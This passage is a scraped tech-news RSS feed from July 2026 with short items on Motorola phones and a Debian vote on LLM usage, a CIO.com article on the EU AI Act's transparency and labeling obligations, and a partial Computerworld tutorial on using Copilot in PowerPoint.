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<title><![CDATA[The Best Motorola Phones, From Razr to Moto G (2026)]]></title>
<description><![CDATA[Motorola phones may seem old-school, but their reasonable prices, colorful designs, and simple software make them good, wallet-friendly Android smartphones.]]></description>
<link>https://tsecurity.de/de/3695512/it-nachrichten/the-best-motorola-phones-from-razr-to-moto-g-2026/</link>
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<pubDate>Sun, 26 Jul 2026 12:45:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<content:encoded><![CDATA[Motorola phones may seem old-school, but their reasonable prices, colorful designs, and simple software make them good, wallet-friendly Android smartphones.]]></content:encoded>
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<title><![CDATA[A Debian general resolution on LLM usage]]></title>
<description><![CDATA[The Debian project is considering a general
resolution on the use of large language models in the creation of the
distribution.  There are three alternatives to consider: a
total ban on LLM usage, rejecting LLMs "as far as practical", or
explicitly allowing LLM usage subject to a set of condition...]]></description>
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<pubDate>Sun, 26 Jul 2026 06:39:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Debian project is <a href="https://www.debian.org/vote/2026/vote_002">considering a general
resolution</a> on the use of large language models in the creation of the
distribution.  There are three alternatives to consider: a
total ban on LLM usage, rejecting LLMs "<q>as far as practical</q>", or
explicitly allowing LLM usage subject to a set of conditions.  The
discussion period has just begun; the beginning of the voting period does
not yet appear to have been set.  Those who want to look over the
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<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
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<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
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<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
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<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
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<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


